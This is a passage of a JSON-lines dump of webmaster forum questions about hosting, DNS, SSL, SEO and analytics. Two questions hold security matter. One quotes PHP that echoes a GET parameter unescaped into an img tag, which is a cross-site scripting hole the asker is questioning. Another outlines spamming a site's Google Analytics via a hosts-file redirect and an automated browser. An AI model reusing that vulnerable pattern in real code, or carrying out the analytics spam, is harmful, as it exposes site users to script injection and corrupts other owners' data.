soon. Thanks"}
{"id":"3178","title":"What can you do to speed up IIS 7 web sites?","text":"Turn on compression and you'll see immediate performance improvements, likewise if you enable caching for complex web apps. What other configuration options you can change to improve performance? do you have \"performance checklist\" of things to set when you get a new server? I'm asking about IIS 7 or later (because all my current servers are IIS7)"}
{"id":"17815","title":"SSL Certificate is Untrusted... sometimes","text":"Web Designer I'm working with signed up a new client that needed an SSL certificate. We went to namecheap.com and purchased on from Comodo. Got all the needed files and set it up in ISPConfig. To test we used Windows 7 running IE8, Firefox 3.6, and Chrome 12, and then on OSX with Firefox 4, Safari 5, and Chrome 13. All of them worked fine. The client is getting 'This connection is untrusted' in Firefox 4 and 5. Safari works fine on their machine. On my machines and the designer's machines all works with no errors. I had the client forward me the info for the certificate that Firefox has and the fingerprints match up. I have an old Windows 2000 VM with IE6 and Chrome and those work just fine as well. Any ideas on what else to check or do? The server is running Debian 5.0, up-to-date, with Apache 2 and ISPConfig 3.3"}
{"id":"17819","title":"What is the impact to Google rank when I transfer a domain?","text":"I'm buying a domain which already has 12 years, I would like to know if after the transfer for my id this domain will lose rank on google? or does it have any consequence for google rank ?"}
{"id":"3177","title":"Having multiple domains on a single hosting server","text":"Heads up: both domains are registered at GoDaddy and the shared hosting server is also at GoDaddy. I currently have a website at `www.somesite.com`. I also have another domain name `www.mynewsite.com` that I want to have, but don't want to purchase a new hosting plan as I have plenty of space and bandwidth available on the one I currently run for `www.somesite.com`. Is there a way to use BOTH domains on the same hosting account and have a separate sites run from them, as if they are both totally separate sites? I was thinking since `http:\/\/123.123.123.123\/` is mapped to `www.somesite.com` that they would allow me to map my new domain to some folder, like `http:\/\/123.123.123.123\/newsite\/` to accomplish this, but can't seem to find the right options in GoDaddy to do it. Any help or correction on terminology to better Google this would be great."}
{"id":"43315","title":"Pass IMG SRC via GET and echo it? Is that really secure?","text":"I was wondering how I can make a really simple GET and echo request more secure The code: $src = $_GET['src']; echo \"<img src='$src' \/>\"; Basically, I have a URL like example.com\/link.php?src=imgname.jpg Theoretically, I think it's possible to exploit it by inserting external URL's and trying to get them parsed on the site. Would you recommend doing a preg_match to only allow images and remove URLS?"}
{"id":"51599","title":"Can't browse to folders of my website","text":"Basically, I have a few subfolders that I would like to access and I can't seem to access them unless their is a `index.php\/html` is located in that file. How do I enable it so that I can access any file within the folder without their being a index page? I am hosting at GoDaddy, if that makes any difference (and it is a Linux server)."}
{"id":"20241","title":"How can I archive (for historical record) my website?","text":"If I launch a website that displays 1000's of pages of content (text) delivered dynamically from data in a database and and I want some sort of record to prove that this data had been published (on that date), that I can use in the future, what are the options? I have seen a commercial web archiving service that is charging $15 per page (!). I understand that you can run software yourself on the server but i am unsure how this works with dynamically generated pages. Is backing up the database (with some type of timestamping and securing) enough? Would you then have to prove that your app was up and running and the website available as well? What are the alternatives?"}
{"id":"27564","title":"DNS slows down on development environment","text":"I have a local development environment setup on my Mac. I am running an Ubuntu Web Server inside of a Virtual Box VM. I setup a host file on my Mac that points my dev site to the IP of the Ubuntu Virtual Server. Everything works good other than the fact a lot (not all) of the time it takes more than 5 seconds to load a page. I used firebug to track down where the problem is and when it's slow the DNS part of my request is taking over 5 seconds. Like I said it's not all the time. Sometimes it resolves and loads the page within milliseconds. The same page one click will be super fast and then the next time it takes over 5 seconds. It's really slowing me down and I am not sure what is causing it."}
{"id":"16774","title":"How do I display content from another website that requires the user being logged in?","text":"Say I have a website that requires a login, hosted somewhere remote. I would like to make a portal that shows this remote site but should always be logged in with the same user name and password on this remote site. If possible the portal should ask for a username and password and then use an iframe ( or something similar now that they are being phased out) to display this remote site where you shoudl be logged in. I would like to know if there is a web-ap for something like this, if not whether this would be possible to create. I do have access to a VPS running centos 64bit and a managed host."}
{"id":"720","title":"Is there any way to really ban people from a website?","text":"Suppose you have a user who is posting really offensive stuff on your website and so you ban them from your site (let's suppose your web app has a way to mark that user account as banned so they can't login again). Are there any intelligent ways to try and prevent this person from creating another account with a different username? My hunch is that are no hard and final ways to do this besides some sort biometric login device*. But I am curious to know of anything I could do to make it hard for someone to keep doing it. * _And I guess that Tom Cruise has sort offound a way around that one too._"}
{"id":"721","title":"Is there any benefit of Google Analytics asynchronous tracking code if it isn't placed in the <head>?","text":"I'd like to go to the asynchronous Google Analytics script, but I'd rather not have it in the head (even though I know this is best practice). So, is there any benefit of using the async code if it isn't in the head, and alternatively, would it be safe to place elsewhere high in the page, like just inside the opening body tag, or in a .NET user control that loads at the top of the page? EDIT: In the instructions Google states: > If that isn't an option, you can still put the asynchronous snippet at the > bottom of the page. You can also split your snippet to retain some of the > benefits of asynchronous tracking. If I place the code there (without splitting) do I still benefit from asynchronous loading or is it negligible since it is at the bottom anyway?"}
{"id":"31545","title":"Make Google Plus One only work for the domain and not the path","text":"> **Possible Duplicate:** > Make Google +1 button +1 a specific URL rather than the URL it's on? I'm creating an image sharing website, and since it's going to have many thousand links, then it's almost impossible to put a Google Plus One button in my site. Plus one is an indication of site's popularity and trust. You follow a link in SERP, because you see that somebody that you know has already plused one that link. So, you trust that link and click it. The more plus a page get, the more trustworthy it becomes. Sites which has simple static pages can get many plus ones, but sites like mine (dynamic sites with thousands of links) can't aggregate plus ones in one page. Is there any way to tell Google that I only want the Plus Ones to be counted for the **domain** only, and not for the **path**? In other words, how can I transfer a plus one given to the **http:\/\/example.com\/tag1-tag2\/2525** to plus ones given to the **http:\/\/example.com**? Is it possible at all?"}
{"id":"48964","title":"Legality of publishing a website in directory?","text":"I want to make a list of biggest websites that run on specific platform. I won't mention platform here but let's say xy for example. So basically it will be a directory where each site will be described with couple of words and with a name and link. Is there any risk that any company could suit me for this because I will reveal information which platform they use? To recognize that they probably run on xy platform I will check if a specific URL exists in their domain. Platform xy has specific URL key on all domains, that is how I know they run on this platform. This is actually public because everyone could do the same, but still I am not sure about legality of publishing their site on the list."}
{"id":"67130","title":"Does app non-approval cause Facebook FQL queries from my URL to have a zero `share_count`, or is that my bit.ly URLs?","text":"I tried setting up the app (production, because we have no test server) with a test user and used him to share the content. The content was shared on the users' wall, but when I do an `fql query` on the `link_stat` table. I noticed that my URL has a zero `share_count`: https:\/\/graph.facebook.com\/fql?q=SELECT%20url,%20normalized_url,%20share_count,%20like_count,%20comment_count,%20total_count,commentsbox_count,%20comments_fbid,%20click_count%20FROM%20link_stat%20WHERE%20url=%27http:\/\/bit.ly\/someurl\/%27 and https:\/\/graph.facebook.com\/fql?q=SELECT%20url,%20normalized_url,%20share_count,%20like_count,%20comment_count,%20total_count,commentsbox_count,%20comments_fbid,%20click_count%20FROM%20link_stat%20WHERE%20url=%27http:\/\/<some-site>\/somepage.html%27 Is this because I don't have my app approved yet? Or is it because I'm using bit.ly links back to my page to track individual Social Media campaigns in Universal Analytics? I don't know if my app is in **development mode** or not, I would think so because in the documentation it states: `When testing your apps, place them into Development Mode. This hides your app entirely from all users who you have not authorized in the App Dashboard to see the app, for the roles described below. Please note that when your app is in Development Mode, you cannot call any API calls on behalf of users who cannot see your app.`"}
{"id":"1786","title":"In what browsers do you test your websites?","text":"In what browsers do you test your websites?"}
{"id":"23533","title":"Sitemap creators not visiting most pages","text":"I am trying to generate a sitemap for a customers website, http:\/\/www.ruralmarketing.co.nz . When I use the online generators it only ever creates a sitemap with two urls, the index and contact page. Is there something that I have done wrong with my url structure? I can't find anything obvious."}
{"id":"23531","title":"Can I change the cname of my domain to any other domain I want?","text":"I own a domain name can i change it's CNAME to make it point to any other domain that I don't own? Example: I own a domain name (balh.com) can I make it an alias for google.com and yahoo.com? means when I enter (balh.com) in the web browser it shows the google.com webpage with the address (blah.com)?"}
{"id":"23535","title":"How do I change my name servers for Sedo Parking?","text":"I wanted to park my domain with SedoParking. It says to change it to ns1.sedoparking.com. I did change the start and www to that. But the A (Address) has to be an IP. So How do I change that?"}
{"id":"23538","title":"Auto backup a file with a customizable extension name","text":"Are there any tools we can use to automatically create a backup of file like (php file,css file,asp file) and have an extension name of \"index.php.(timestamp)\".?This is a common problem for developers or if not common I guess they will like it."}
{"id":"47999","title":"Documentation, Examples, etc of implementing Google's Website Translator","text":"I can't seem to find any documentation or examples of Google's Website Translator. Here is a link to the home page for it but short of getting started and a couple of key features, I can't find any actual documentation on it. Website Translator"}
{"id":"49661","title":"Adding tracking to a link without rewriting the link","text":"I use goo.gl as my url shortener when posting to social media and I really like the analytics it gives me:  I'd like to get similar tracking information for who turns up to my homepage via social media - at the moment I've just got my standard homepage link (because there is no need to shorten)  My problem is: I think that the url structure (clearly academic, doesn't look like spam or like I'm trying to sell things) probably gets more clickthoughts than it would if I it was a classic goo.gl link. Is there a way I can add tracking information to the link (in this case I could put tracking on the site, but I'm looking for a general solution) so that it kept it's structure, but also enabled tracking?"}
{"id":"58365","title":"How can CTR (Click-through rate) affect SEO & web site rank","text":"I heard lot of \"CTR affects SEO and makes site's rank better\". But i can't understand how! If some one click links of my pages from my other pages or another site but the Search engine itself; How the search engine can find out that click actually happened? So Does CTR actually makes website rank (Google or Alexa or etc) better? If yes how they detect the click?!"}
{"id":"27825","title":"adding slugs to the URLs afterwards","text":"we have a website for last 5 months and we did not used slug at bottom level elements so urls was like \/apps\/webmasters\/badges\/1100 would it make sense to add name to the URL after that point and redirect to the new ones ? I am interested in building more search terms. and increase page ranks ..... \/apps\/webmasters\/badges\/1100 -> redirect and served at \/apps\/webmasters\/badges\/1100-supporter Or should I keep old URLs as is and create new urls with slugs. I would also appreciate some advice on shared urls on facebook or on twitter in those cases. Thanks in advance..."}
{"id":"63578","title":"How to prevent Google from indexing non-domain URL of website?","text":"My webhost gives you two URLs for your website: 1. the URL on your shared server, which is something like `usr283725992783.webhost.com` and 2. your domain URL, which is `www.example.com` Google is indexing both of these URLs, but obviously I only want `www.example.com` to be indexed. I can't add \"nofollow\" tags to `usr283725992783.webhost.com` because that URL serves the same files as `www.example.com`. How can I only make Google not follow `usr283725992783.webhost.com` and keep following `www.example.com`?"}
{"id":"27629","title":"Will adsense 'use' comments between the adsense opening and closing tags for ad targeting?","text":"I've got a simple website on which students of my school can see their timetable. I setup adsense three weeks ago and everything is working fine. But I would like to help adsense. * Since only a timetable and a few instructions are shown, there is scarcely content to which ads can relate. Idea: <!- google_ad_section_start –> <!-- Students like clothing ... and bargains, etc.--> <!– google_ad_section_end –> Will this work? Or are there other ways to help adsense?"}
{"id":"25840","title":"how to set 301 redirect in wordpress .htacces file","text":"In continuation of my previously asked question preserve-search-engine-index- while-shifting-to-new-domain. The migration is being done in the word-press and we will have same server with same IP.Since the database is same, all we did is export the data from old database to new database changed the link and now everything is perfect. i know about that we can set 301 redirect in the .htacces file in wordpress but not sure how to do this, and since there are so many links in the old domain. i am not sure how best we can handle this redirect. Do we need to create a mapping for each old URL to new URL? and where we should put these mapping in the Old domain? any help in this regard will be much helpful.If i need to provide more information, please let me know i will put any other required information in post. We are planning to shutdown the Old domain in next 6-7months once the new domain is UP.Is that a good decision? Additionally one more doubt which is there in my mind is about duplicate contents since both the old domain and new domain have 100% similar contents, so there might be some penalty from search engines.How can we handle that?"}
{"id":"68152","title":"How Google Web Starter Kit serves adaptive image for mobile?","text":"My website weirdly (in a good way) serves smaller images when viewed on mobile. I wanted to know what cause this? As far as I know this is not the default behaviour, so I think it must be Google Web Starter Kit's doing.Here is the debug information when debugging on device. All images became 231 B size no matter how large it actually is. (On desktop debugging the size varies.)  I tried using Google Web Starter Kit (https:\/\/github.com\/google\/web-starter- kit) recently. The tools in it are made of Ruby, Node.js, SASS and Gulp to help you 'build' website. Pre-build you can enjoy automatic reload because the Gulp script will watch all files for you. When build it will run various tools to minify HTML,CSS and compress images. According to this page https:\/\/developers.google.com\/web\/fundamentals\/tools\/build\/build_site the gulp-imagemin was used. So I guess the imagemin is doing the mobile optimization for me? What kind of compression can serve automatically resized image on mobile? And why is the size 231 B? Is this related to my screen size?"}
{"id":"25842","title":"Sending forms in MIME format via email","text":"I am trying to send a form via email in MIME format. However, the input tag is displayed as text in square brackets and the button tag is displayed as plain text. ie. <input type=\"submit\" value=\"Submit\" class=\"button\"\/> => [Submit] <button type=\"submit\">Submit<\/button> => Submit I also tried setting the Content-Type header to \"application\/javascript\" I read on one site that when using MIME format, I should \"code like it is 1996\". Does anyone know if these features are supported; if so what can I do to make the buttons functional, if not is there a work around? The emails typically are intended to be opened in Outlook."}
{"id":"59025","title":"Hashbang priority vs clean url","text":"Hi I am a newbie in google analytics.I have implemented a site with angularjs and Rails.Because of the use of angularjs the url generated is with hashbang(#!) for eg:-www.abc.com\/#!\/xyz Now I have made the website crawlable by google with the help of escaped fragment.So the website is crawlable and the results are shown in google. Now the SEO professionals in our office is telling me that a cleaner url ie without hashbang (www.abc.com\/xyz) has more priority in results. All I want to ask is,is this true and will it not create duplicate pages if implemented."}
{"id":"31222","title":"Attach a Wordpress.org blog to my BigCommerce Store as a sub-domain","text":"I am stuck in a peculiar situation. I have a store on BigCommerce configured with a domain from GoDaddy ( **mystore.com** ). I recently created a custom wordpress blog and hosted it on 1and1 hosting ( **s418783372.onlinehome.us** ), since bigcommerce can't host Wordpress. Now, I want to use it from a sub-domain of my main-bigcommerece store ( **models.mystore.com** ), but it doesn't seem to be working since BigCommerce is the Domain Manager, but GoDaddy is the Domain-Registrar and 1and1 is the host so it doesn't control the domain. I have tried setting up a CNAME record on BigCommerece and when it didn't work asked BigCommerece about it, but they said they can't do anything about it since they aren't the domain registrar and gave me a message saying: > The responsiblity to show the name in the browser on the site is up to the > server or site admin. The Cname can only get the browser there **UPDATE:** I succeeded in setting up a CNAME on BigCommerce poinitng to the site at 1and1, but for some-reason, all it gives me is a `404-Not-Found` error. I was thinking this is due to a restriction on 1and1, any idea on how to overcome that? > Not Found > > The requested URL \/ was not found on this server. > > Additionally, a 404 Not Found error was encountered while trying to use an > ErrorDocument to handle the request. I tried adding a domain on the 1and1 control panel (http:\/\/faq.1and1.co.uk\/domains\/domain_xfers\/dns_transfer\/4.html), pointing to models.mystore.com, but it isn't letting me add a Sub-Domain, there... **UPDATE:** I added mystore.com as an external domain and them added models.mystore.com as a sub-domain on the 1and1 hosting Domains panel. And it works :) Thank you all"}
{"id":"28684","title":"Collapsible menu and amount of links in a web page","text":"One of my pages contain three levels of a collapsible menu (JS + CSS from mycssmenu.com). There are a dozen first level items displayed to users, each one with various second level items, and finally a lot of third level items, each one containing a related link. This generates a lot of internal links (300+). Because of SEO should I change the way the collapsible menu is displayed to reduce link amount? What do you suggest? I would like to avoid users to have to open a new page just to only see what are third level items and eventually follow one of its links."}
{"id":"29170","title":"web based booking systems","text":"I am an IB(International Baccalaureate) student, and for preparing for my ITGS(Information Technologies in Global Societies) exam, and I would like to ask few questions to people who has worked with web-based booking systems. Here are the questions; *Could you please describe the booking system you are using ? *If so, how did you build your interactive booking system ?(Java, Flash, Javascript) *If you are using Flash for your interactive booking system, how did you manage the problem with smart phones and tablet devices that doesn’t support flash? *What can you say when you compare the cost of building your booking system and the other alternatives ? *What difficulties you went through when you made your system ? *What are the advantages of using such a system ? Why did you prefer to do so ? *ls your system multilingual ? If not, why ? *If so, what are the difficulties of having a multi-lingual web-site? How did you solve these problems ? These are the questions I sent to some companies, who never replied back, so you may find them a little bit weird Any help will do Thanks"}
{"id":"64645","title":"JVZoo: Pay Now \/ Checkout button","text":"I just want to know if it is possible to use JVZoo as a payment processor on my website (like PayPal, 2checkout, etc.) Or is it just for affiliate based sales creation?"}
{"id":"55101","title":"Nameservers and migrating a VPS","text":"I am primarily a front end developer who has been tasked with upgrading my companies VPS. As far as I understand, this is just the process of obtaining a new VPS with WHM\/CPanel and then migrating the existing accounts over to the new VPS, testing the sites out, then pointing the DNS to the new nameserver records. That sounds pretty straightforward. What I am having trouble understanding is how to set up the new nameservers on the new VPS. How do I obtain\/establish the new nameserver records for the new, blank VPS?"}
{"id":"29720","title":"running multiple name-based web applications on a single ip address with SSL","text":"I'm working on web projects. My scenario is I have two web applications running on one single web server (Apache). Due to my company policy, they ask me to put both of them on SSL (Port #443), no other way round. Here is where I have a question coming up on my mind. As far as I understand, we can only have one application running over the above mentioned port. Is there any solution where I can have both of them running over SSL by using only one server? How many possible solutions are there? What I can think of now is I may assign different domain name for each web application. so, I can achieve that using virtual host setting with Apache. So, both of them can point to my single IP address. e.g. 1st web application: https:www.abc.com 2nd web application: https:www.xyz.com Would this be a good idea? Any advice would be really appreciated."}
{"id":"17028","title":"SEO - Reducing significance of irrelevant kewords","text":"I have some irrelevant keywords high up in my Google Webmasters Tools Keywords list. Unfortunately it's stuff that needs to be on the site. E.g. I'm getting words like _log_ (from log-in), _copyright_ , _privacy_. I heard in the past that you could apply `class=\"robots-nocontent\"`, but I don't think google uses this (and poss yahoo doesn't either with the bing change). What, if anything can be done to downplay these keywords?"}
{"id":"17387","title":"SEO: How to stop certain web-pages from \"having importance\"","text":"> **Possible Duplicate:** > SEO - Reducing significance of irrelevant kewords. I wrote \"having importance\" since I do not really know the right way to say this. I have certain pages in my site like \"Terms of Use\" and \"Privacy Policy\" and all that admin stuff, and for some reason google gives them great importance, they are in the footer and don't have any tag or anything so it's kinda weird. But anyway, I see in Google Webmaster Tools that some of the keywords for my site are stuff like \"Privacy Policy\" and of course this has nothing to do with my site, I don't want those pages to have that big importance, and probably steal \"juice\" from the other pages. What's the best method of stopping this from happening? maybe this? `<META NAME=\"ROBOTS\" CONTENT=\"NOINDEX, FOLLOW\">` There are links from the \"Terms\" pages to the home page and other important pages so is this what I should put?"}
{"id":"29723","title":"How does Google prevent GA accounts from being spammed","text":"Since the `Google Analytics` snippet is available in the source code of the page (e.g. below is stackexchange's) <script type=\"text\/javascript\">var _gaq=_gaq||[];_gaq.push(['_setAccount','UA-5620270-24']); _gaq.push(['_setDomainName','.stackexchange.com']); _gaq.push(['_setCustomVar', 2, 'accountid', '148108',2]); _gaq.push(['_trackPageview']); var _qevents = _qevents || []; (function(){ var s=document.getElementsByTagName('script')[0]; var ga=document.createElement('script'); ga.type='text\/javascript'; ga.async=true; ga.src='http:\/\/www.google-analytics.com\/ga.js'; s.parentNode.insertBefore(ga,s); var sc=document.createElement('script'); sc.type='text\/javascript'; sc.async=true; sc.src='http:\/\/edge.quantserve.com\/quant.js'; s.parentNode.insertBefore(sc,s); })(); <\/script> I was wondering how `Google` were preventing people's `GA` accounts from being spammed. For instance I could modify my `\/etc\/hosts` file to point `webmasters.stackexchange.com` to a server of mine, then on that server I create few dummy webpages with the above `GA` code, and I could use an automated browser like Selenium to continuously browse these pages and execute the `GA` code which would generate plenty of requests from my browser to `GA`. **How does Google prevent people's GA account statistics from being spammed?**"}
{"id":"12550","title":"File Access Permission","text":"I need to upload a file to site with PHP code. How to set permission for upload folder if I want to users cant access to file by URL but PHP code read this file ?"}
{"id":"15271","title":"Outsourcing backend work","text":"I would like to make a website that has a lot of the same features and functionality of www.quibids.com. I need user accounts, payment processing, various products that will have a timer, packages of \"bids\" for a price, and I will also need a custom flash interface application that records data based on user input and a CMS system so I can update the products on a daily basis. FYI this has nothing to do with auctions quibids is just a good indication of what I need. I'm trying to create the website as cheaply as possible, but at the same time, I want the end result to have a high end professional appeal (like quibids does in my mind). I plan to get the front end via www.99designs.com (any better recommendations?) which is where quibids got theirs. I have received some quotes to build out the rest, but they range from 30K to 150K (in the US). I stumbled upon freelancer.com and found some people who I think can get most, if not all, of the work I need done at a much cheaper price. So here are my questions: 1. Am I off base or am I approaching this correctly? 2. Where can I find someone locally (in the US) who would have knowledge of everything I'm trying to accomplish that could check the work that someone is doing on freelancer to ensure it's quality? I can see that it looks and works, but I don't know the interworkings of complex web design. 3. How much do you believe I should be spending on a website described above?"}
{"id":"12805","title":"How do you use\/make CSS based buttons?","text":"'d like to have one image for the background and then reuse that for any size button with any text on it by just using a CSS class. So, I'd like to have the button, the moused-over and clicked button as images, but then use CSS to apply that to a button so that I can change the text in the HTML (rather than having to recreate the button image everytime the text changes or I need a new button with new text). Also, that'll allow me to change the color of ALL buttons in one place. I do web development only part time, so a bit of a newbie at the CSS stuff."}
{"id":"28176","title":"Laws Regarding content Hosted on your Website","text":"> **Possible Duplicate:** > Am I legally liable for user generated content and comments? As a webmaster are you legally responsible for content posted on your website. For example a forum, would you be responsible for posts and threads made by other people if they were to break any laws?"}
{"id":"8002","title":"Change CSS EMs to Percentage Automatically","text":"I cheated on a small site I was working on and used a site builder (Web Dwarf by Virtual Mechanics) to save time. I didn't realize it at the time, but this builder specifies the width, height and positions using CSS EMs. Is there an automated tool out there that will read through the CSS and convert each EM to a percentage so it will display correctly on wide screens as well? Any help would be great! Thanks. * * * **Here is the CSS:** http:\/\/pastebin.de\/14055"}
{"id":"29724","title":"Interspire Email Marketer Configuration","text":"I'm trying to set up Interspire's Email Marketer for a client. I have a working configuration of it on the VPS but this one is having issues! I have transferred it from their old server and setup the new database... I'm thinking it could be something to do with the PHP settings \/ MySQL memory or buffer. When I send to a small list, it works fine, but when its faced with a larger list it won't do the business... it won't even start sending. I've been comparing the two configurations: * http:\/\/oldhabs.com\/emailmarketer\/check_iem.php (This one works) * http:\/\/servedby.intelligentmedia.co.uk\/check_iem.php (This is the one that won't send to a large list) I've been getting these errors from Interspire itself: > Error Resource is not really a resource Internal May 15 2012 07:20:05 > Location:: > > \/var\/www\/vhosts\/intelligentmedia.co.uk\/servedby\/admin\/functions\/api\/jobs.php > (Line 1068) > Error Table 'imsemailsender.email_user_permissions' doesn't exist Internal > May 15 2012 07:20:05 Query: > > SELECT l.listid, l.ownername, l.owneremail FROM email_lists l, > email_user_permissions p WHERE l.listid IN(198) AND l.ownerid = p.userid AND > p.area = 'lists' AND p.subarea = 'bouncesettings' > > Location:: > > \/var\/www\/vhosts\/intelligentmedia.co.uk\/servedby\/admin\/functions\/api\/jobs.php > (Line 1065) > Notice Undefined index: ownerid Internal May 15 2012 07:15:54 Undefined > index: ownerid in > \/var\/www\/vhosts\/intelligentmedia.co.uk\/servedby\/admin\/functions\/send.php at > 213 File Line Function > \/var\/www\/vhosts\/intelligentmedia.co.uk\/servedby\/admin\/functions\/send.php 213 > HandlePHPErrors > \/var\/www\/vhosts\/intelligentmedia.co.uk\/servedby\/admin\/com\/init.php > 548 Send->Process > \/var\/www\/vhosts\/intelligentmedia.co.uk\/servedby\/admin\/index.php 76 > require_once > > > Notice Undefined index: jobdetails Internal May 15 2012 > 07:15:54 Undefined index: jobdetails in > > > \/var\/www\/vhosts\/intelligentmedia.co.uk\/servedby\/admin\/functions\/send.php at > 212 File Line Function > \/var\/www\/vhosts\/intelligentmedia.co.uk\/servedby\/admin\/functions\/send.php 212 > HandlePHPErrors > \/var\/www\/vhosts\/intelligentmedia.co.uk\/servedby\/admin\/com\/init.php > 548 Send->Process > \/var\/www\/vhosts\/intelligentmedia.co.uk\/servedby\/admin\/index.php I know the top error is to do with the wrong bounced address... I think. Would this stop the send to that list? I've checked the server logs, and I'm not getting any errors."}
{"id":"34399","title":"Unknown CSS font-family oddity with IE7-10 on Windows Vista, 7, 8","text":"I am seeing the following \"oddity\" with IE7-10 on Windows Vista, 7, 8: When declaring `font-family: serif;` I am seeing an old bitmapped serif font that I can't identify (see screenshot below) instead of the expected font _Times New Roman_. I know it's an old bitmapped font because it displays aliased, without any font smoothing, with IE7-10 on Win Vista-8 (just like Courier on every version of Win). **Screenshot:**  I would like to know (1) can anyone else confirm my research and (2) BONUS: which font is IE displaying? **Notes:** IE6 and IE7 on Win XP displays _Times New Roman_ , as they should. It doesn't matter if `font-family: serif;` is declared in an external stylesheet or inline on the element. Quoting the CSS attribute makes no difference. Adding \"Unkown Font\" to the stack also makes no difference. **New Screenshot:** The answer from Jukka below is correct. Here is a new screenshot with Batang (not BatangChe) to illustrate. Hope this helps someone. "}
{"id":"39213","title":"Our company office website being wrongly filtered\/blocked by websense under category \"Potentially Damaging Content\"","text":"Our clients are complaining that they are not able to access our site. We figured out that websense is blocking our site by wrongly categorizing under \"Potentially Damaging Content\" We are INKAT Tech Private Ltd. and our website is www.inkattech.com We are an Information technology products and services provider"}
{"id":"39630","title":"How many pages can be uploaded in the single website without offending popular search engines?","text":"Currently we are serving details to our visitors through a database oriented website. Visitor selects around 5 Level options E.g. Level One: book Level Two: Chapter Level Three: Topic Now we want to convert all the details in pure html contents so there will be around 20000 pages. (Our purpose of doing this is that the search engines will be able to crawl all the contents.) If we convert Database contents into html pages and upload them all to our website in a single stroke, will there be any problem with popular search engines like google and yahoo?"}
{"id":"55837","title":"SEO: How to make Google show correct page during search for a specific keywords","text":"My company sells a lot of timber such as decking, landscape timber, timber sleepers, etc. We specify this in the front page of our website -that we sells decking, landscape timber, etc. Lately we want to focus so Google shows a correct landing page for focused keywords such as \"timber sleepers\", \"landscape timber\". So I create a dedicated landing page for \"timber sleepers\", and ask Google to fetch it. The problem is: whenever I search \"timber sleepers\", Google keep showing the **front page** of our website, because we have those keywords in the front page. Google also does not show my new \"Timber Sleepers\" page at all. It seems that it only shows my website URL once (which is the front page). What will be the best way to optimize this? Does this happen because I just made the changes recently (about 3 days)."}
{"id":"3588","title":"How do spambots work?","text":"I have a forum that's getting hit a lot by forum spambots, and of course the best way to defeat something is to know thy enemy. I'll worry about defeating those spambots later, but right now I'd like to know more about them. Reading around, I felt surprised about the lack of thorough information on the subject (or perhaps my ineptness to input the correct search terms for better google results). I'm interested in learning all about spambots. I've asked on other forums and gotten brush-off answers like \"Spambots are always users registering on your site.\" * **How do forum spambots work?** * How do they find the 'new user registration' page? (I'm especially surprised because some forums don't have a dedicated URL for this eg, www.forum.com\/register.html , but instead use query strings or even other methods invisible to the URL bar) * How do they know what to enter into each 'new user registration' field? * How do they determine what's a page they can spam \/ enter data into and what is not? * Do they even 'view' this page at all? * ..If not, then I'd assume they're communicating with the server directly - how is - this possible? How do they do it? * Can forum spambots break CAPTCHAs? Can they solve logic questions (how?)? Math questions? * Do they reverse-engineer client-side anti-bot validation scripts? Server-side scripts? * What techniques are still valid to prevent them? * Where do spambots come from? Is someone sitting behind the computer snickering as they watch their bot destroy site after site? Or are they snickering as they simply 'release' it onto the internet somehow? Are spambots 'run' by an infected computer somewhere? Do they replicate themselves? * etc"}
{"id":"1862","title":"Javascript based analytics tool with multiple user account management options?","text":"We run a manage a website system for a large retail franchise. Each franchisee has their own templated website. We currently use SmarterStats to provide website analytics to our franchisees. SmarterStats is nice in that it allows us to manage the login information for our franchisees. If they update their login info from another part of our website system, we can synchronize that to SmarterStats. However, SmarterStats is bringing our web server to it's knees performance wise and so we're looking for alternatives. We can't use Google Analytics because it would be too much to ask all of our franchisees to create a Google login. Does anyone have any good suggestions that would meet these requirements? 1. Tracking is accomplished via javascript 2. Allows us to manage login information for hundreds of users either via API or batch update. I much appreciate any help you can offer."}
{"id":"15895","title":"SEO regarding using multiple <h1> tag?","text":"Is is true `<h1>` tag should not have more than 1 on every page for SEO? Every pages on the header, it includes and `<h1>` tag. Website Name which show an image from `logo class`, like this: <div id=\"header\"> <h1 class=\"logo\"> <a href=\"#\">Website Name<\/a> <\/h1> <\/div> and I also include `<h1>` on the contact page, help, etc and article page for example: <h1>Contact Us<\/h1> <h1>Name of the Article Title here<\/h1> On the homepage, it just has one `<h1>` for the logo Site Name... other pages have 2 `<h1>` tags"}
{"id":"47315","title":"H1 Tags and Anchor Text","text":"I am building an image based website with no text space available on the Home Page. Can I turn the main Nav Menu links into H1 tags too? Will the site be punished by Search Engines from an SEO point of view for doing it this way? <h1> <a href=\"#\">Landscape Photography<\/a> <a href=\"#\">Product Photography<\/a> <a href=\"#\">Portait Photography<\/a> <a href=\"#\">Food Photography<\/a> <\/h1>"}
{"id":"60518","title":"Proper H Tag Usage For SEO","text":"What is the up to date correct usage of the H tags? I was originally told that it was only one H1 tag per page. Now I am being told that you can use more than one h1 tag as long as it is only one per sectioning root or content section and that it is better than the former way. What is the correct usage!"}
{"id":"35760","title":"Pros and cons of separate hosting accounts versus using an addon domain","text":"For historical reasons, I have \"Site A\" on \"Hosting Account A\", and \"Site B\" on \"Account B\", totally independent accounts with the same vendor, Bluehost. Both are primary domains. Now that Hosting Account B is just about to expire, I'm considering letting it disappear and moving Site B to an addon domain on \"Account A\". Both sites are non-commercial, narrow-interest, very-low-traffic, hundreds of page views per month. The file weights for the sites are non-trivial, especially as I like to install specialized CMSs in subdomains. Since Bluehost allows unlimited hosting space there should be no issue with the file load, except I've seen hints of an issue with total file count, maybe 50k files -- which I'm not currently close to hitting, but might eventually. My question: what are the pros and cons of using separate accounts versus hosting Site B as an addon domain? Obviously, using a single account is cheaper by half, and I know that my authoring environment (DreamWeaver CS5) complains when it detects nested source trees, telling me \"Synchronization\" might fail in such cases, but I don't depend on this feature. What other factors should I consider? * * * Added in response to PatomaS: Thanks for your comments. Site A and Site B are currently running custom-built php-driven code, no CMS and no DB associated with either. These sites do require some simple .htacess manipulations. A bit more work keeps those remappings from being applied to the subdomains, but that's under control. When I install a CMS in a subdomain, I'm careful to use a completely independent DB for it. I just don't seem to have problems with CMS operation in subdomains. SEO isn't really an issue: the primary domains contain totally noncommercial sites. In practice, I use CMS's in subdomain for non-public purposes, releasing the URL only to interested parties, Switching over Site B to an Add-on Domain of Account A: I'd like any switchover to occur with a minimum gap, but with only a few visitors a month, it seems unlikely that even a 24-hour switchover downtime will be noticed by anyone. After that switchover, Site B should appear at its previous URL and operate exactly the same as before, so I'm not sure about what issues you anticipate. Other than the htaccess issue referenced above, and the problem Dreamweaver has handling nested site directories I mentioned in my original post, I'm not seeing anything really difficult internally. You say, \"...there is going to be one site...\" but as far as I can see, from the point of view of the outer world, Site B hosted in an Add-on Domain on Hosting Account A looks totally like it did before, when hosted in a separate account. What am I missing?"}
